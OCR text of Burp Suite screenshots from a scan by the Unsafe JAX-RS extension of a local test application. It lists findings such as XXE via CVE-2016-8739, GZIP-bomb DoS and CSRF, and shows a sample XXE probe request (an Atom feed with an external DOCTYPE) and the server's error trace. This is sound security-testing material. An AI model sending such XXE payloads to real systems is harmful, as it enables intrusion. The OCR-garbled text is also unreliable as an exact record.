#) Apache CXF RS resource metheod is vulnerable to CWVE-2016-8738
# ! |AX-RS application is vulnerable to entity provider selection confusion [2]
@) |A2X-RS resource is vulnerable to GZIP bombing Dos
) Apache CXF RS application GZIP DoS attack
) Apache CXF RS application exposes WADL
I Apache CXF RS resource method is vulnerable to CSRF
! RESTEasy application supports content negrﬁiation via URL parameter
! |AX-RS resource method supports |SOMNP
Content Sniffing not disabled
Exception occured during Path Param processing

EééJAdvisuryT Reguest T Response ]

0 Apache CXF RS resource method is vulnerable to CVE-2016-8739

Issue: Apache CXF RS resource method is vulnerable to CVE-2016-8739
Severity: High

Confidence: Certain

Host: http:/f127.0.0.1:8080

Path: funsafe-jaxrsfcxf-rsfconcat

Mote: This issue was generated by the Burp extension: Unsafe |AX-RS.

Issue detail

Resource method of Apache CXF RS application lacks @Consumes annotation or have permissive media type specification. Apache CXF is
wulnerable to XXE attack - CVE-2016-8739, Attacker can trigger unmarshalling using vulnerable Atom provider by specifying
applicationjatom+xml Content-Type header.




Scan item 1 | 13 issues | finished | http://127.0.0.1:8080/unsafe-jaxrs/cxf-rs/concat IEEIENEDEEEE RN IEEIENEDEEEE RN T R

j Issues T Base request T Base response ] B e e e e e e e e e e e e e e e e T T e e T e e e T e e T T

@) Apache CXF RS resource method is vulnerable to CVE-2016-8739
/v 1 JAX-RS application is vulnerable to entity provider selection confusion [2] B T
@) J2X-RS resource is vulnerable to GZIP bombing DoS [
() Apache CXF RS application GZIP DoS attack

@) Apache CXF RS application exposes WADL

I Apache CXF RS resource method is vulnerable to CSRF

! RESTEasy application supports content negotiatirin via URL parameter
' :

JBX-RS resource method supports JSONP L/ Scan item 1 | 13 issues | finished | http://127.0.0.1:8080/unsafe-jaxrs/cxf-rs/concat G 0
Content Sniffing not disabled I |
Exception occured during Path Param processing v j Issues T Base request T Base response ]
Advisory | Request T Response ] @ Apache CXE RS. resource method is vt{lnerablg to CVE-2.016-8?39. :\
] M 17 |» ! JAX-Rs application is vulnerable to entity provider selection confusion [2] |
- [Raw | Params T e T e T XML ] 1= | @ )AX-RS resource is vulnerable to GZIP bombing DoS
- POST /unsafe-jaxrs/cxf-rs/concat HTTP/1.1 .- @ Apache CXF RS appl?cat?on GZIP DoS attack
“ Host: 127.0.0.1:8080 = - | @) Apache CXF RS application exposes WADL
'User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0 12| ! Apache CXF RS resource method is vulnerable to CSRF
_ :':Accept: text/html, application/xhtml+xml, application/xml;g=0.9,*/*;q=0.8 | RESTEasy application supports content negatiation via URL parameter |
-+ Accept-lLanguage: en-US,en;q=0.5 | ! JAX-RS resource method supports JSONP [
‘- Connection: close I Content Sniffing not disabled L/ |
.-0 Cache-Control: max-age=0 1 Exception occured during Path Param processing vl
. Content-Type: application/atomtxml

"'::Ccntent-Length: 134 [ Advisory T Request TResponse ]

-ﬁ:?xml version="1.0" encoding="utf-&8"7=><!DOCTYPE feed SYSTEM "nosuch://mXxsdPLYFv" []=<=feed Raw | Headers THex T HTML T Render]
.:‘xmlns:"http:ffwww.w3.0rg,a‘2005fﬁt0m" =</fead> I

| HTTP/1.1 500 Server Error

11 Content-Type: text/html;charset=I50-8859-1

| Cache-Control: must-revalidate,no-cache,no-store
" Content-lLength: 31984

i Connection: close

|- Server: Jetty(s.l.16.v20140903)

AL (|

e |- <html=>

¥ |+ <head=

0 highlights {- <meta http-equiv="Content-Type' content="text/html; charset=IS0-8859-1"/=>
................................................................................ .| <title>Error 500 Server Error</title>
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' </head=>

ISR PP PP T hodys<hzoHTTR ERROR 500</h2>

------------------------------------------------------------------------------------------------- <p=>Problem accessing /unsafe-jaxrs/cxf-rs/concat. Reason:

------------------------------------------------------------------------------------------------------------------ <pre= Server Error</pre=</p=<h3=Caused by:</h3=<pre=org.apache.abdera.parser.ParseException:
org.apache.axiom.om.0OMException: com.ctc.wstx.exc.WstxIOException: [resolving systemId 'nosuch://mXxsdPLYFv']:

java.net.MalformedURLException: unknown protocol: nosuch

________________________________________________________ -] at org.apache.abdera.parser.stax.FOMBuilder.next(FOMBuilder.java:96)

......................................................... at org.apache.abdera.parser.stax.FOMBuilder.getFomDocument(FOMBuilder.java:117)

.................................................................................................................. at org.apache.abdera.parser.stax.FOMParser.getDocument(FOMParser.java:79) "', ::
......................................................... - _————L B s L[ L T —— T e ]

DENBINNE R O R O REDENEEE Type a search term 0 highlights |-






